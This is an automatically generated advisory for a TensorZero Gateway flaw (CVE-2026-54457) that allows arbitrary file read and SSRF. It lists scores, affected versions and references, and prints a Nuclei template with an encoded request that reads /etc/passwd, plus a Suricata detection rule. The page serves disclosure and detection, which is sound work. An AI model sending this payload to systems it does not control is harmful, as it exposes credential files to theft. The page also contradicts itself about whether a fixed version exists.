CVE-2026-54457: tensorzero tensorzero advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

TensorZero is an open-source LLMOps platform that unifies an LLM gateway, observability, evaluation, optimization, and experimentation. Prior to 2026.6.0, the TensorZero Gateway /internal/object_storage endpoint accepts a caller-supplied JSON storage_path parameter that dynamically overrides the [object_storage] configuration. Selecting the filesystem storage type allows arbitrary files on the gateway filesystem to be read, including credential files. Selecting the s3_compatible storage type causes outbound object-storage requests to attacker-chosen internal or cloud-metadata endpoints. Exploitation requires access to the gateway, which can be authenticated or unauthenticated depending on deployment configuration. This issue is fixed in version 2026.6.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-08-21).

Weakness: CWE-552: Files or Directories Accessible to External Parties; CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-64144, GHSA-824w-x939-6cmc

VEDAS cluster: VEDAS:DARKFLOOD

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-64144
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-824w-x939-6cmc
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-54457
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2026-54457
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-824w-x939-6cmc

3 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.004
low predicted chance of attack
VEDAS: 0.985
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
tensorzero tensorzero	version < 2026.6.0	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: pypi tensorzero.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

TensorZero Gateway - Arbitrary File Read
The TensorZero Gateway /internal/object_storage endpoint accepts a caller-supplied storage_path query parameter that fully overrides the server’s configured [object_storage] backend at request time (prior to version 2026.6.0). Supplying a StoragePath whose kind.type is “filesystem” with a root of “/“ and an object key of “etc/passwd” causes the gateway to read and return an arbitrary file from its own filesystem, including credential files. The s3_compatible kind can instead redirect outbound object-storage requests to attacker-chosen internal or cloud-metadata endpoints (SSRF). Exploitation requires only the ability to reach the endpoint, which may be unauthenticated depending on deployment. This template reads /etc/passwd via the filesystem override.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /internal/object_storage?storage_path=%7B%22kind%22%3A%7B%22type%22...); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-54457.yaml

Show the template (41 lines)

yaml

id: CVE-2026-54457

info:
  name: "TensorZero Gateway - Arbitrary File Read"
  author: vedas-arpsyndicate
  severity: high
  description: |
    The TensorZero Gateway /internal/object_storage endpoint accepts a caller-supplied
    storage_path query parameter that fully overrides the server's configured
    [object_storage] backend at request time (prior to version 2026.6.0). Supplying a
    StoragePath whose kind.type is "filesystem" with a root of "/" and an object key of
    "etc/passwd" causes the gateway to read and return an arbitrary file from its own
    filesystem, including credential files. The s3_compatible kind can instead redirect
    outbound object-storage requests to attacker-chosen internal or cloud-metadata
    endpoints (SSRF). Exploitation requires only the ability to reach the endpoint, which
    may be unauthenticated depending on deployment. This template reads /etc/passwd via
    the filesystem override.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-54457&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tensorzero&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2026-54457
    cwe-id: CWE-552
  metadata:
    verified: false
  tags: cve,cve2026,tensorzero,lfi,file-read,ssrf,intrusive
http:
  - method: GET
    path:
      - "{{BaseURL}}/internal/object_storage?storage_path=%7B%22kind%22%3A%7B%22type%22%3A%22filesystem%22%2C%22path%22%3A%22%2F%22%7D%2C%22path%22%3A%22etc%2Fpasswd%22%7D"
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200

CVE-2026-54457.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-54457 TensorZero Gateway - Arbitrary File Read / SSRF via object_storage override. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-54457 TensorZero Gateway - Arbitrary File Read / SSRF via object_storage override"; flow:established,to_server; http.uri; content:"/internal/object_storage"; nocase; fast_pattern; content:"storage_path"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-54457; reference:url,https://www.exploit.observer/?keyword=CVE-2026-54457&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=tensorzero&match=exact; sid:1095200; rev:1;)

CVE-2026-54457.rules on GitHub

References

Other references

https://github.com/tensorzero/tensorzero/security/advisories/GHSA-824w-x939-6cmc (x_refsource_CONFIRM)
https://github.com/tensorzero/tensorzero/commit/0abbc838bae3394fe7491dad7009670d4e3b6cf8 (x_refsource_MISC)
https://github.com/tensorzero/tensorzero/releases/tag/2026.6.0 (x_refsource_MISC)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.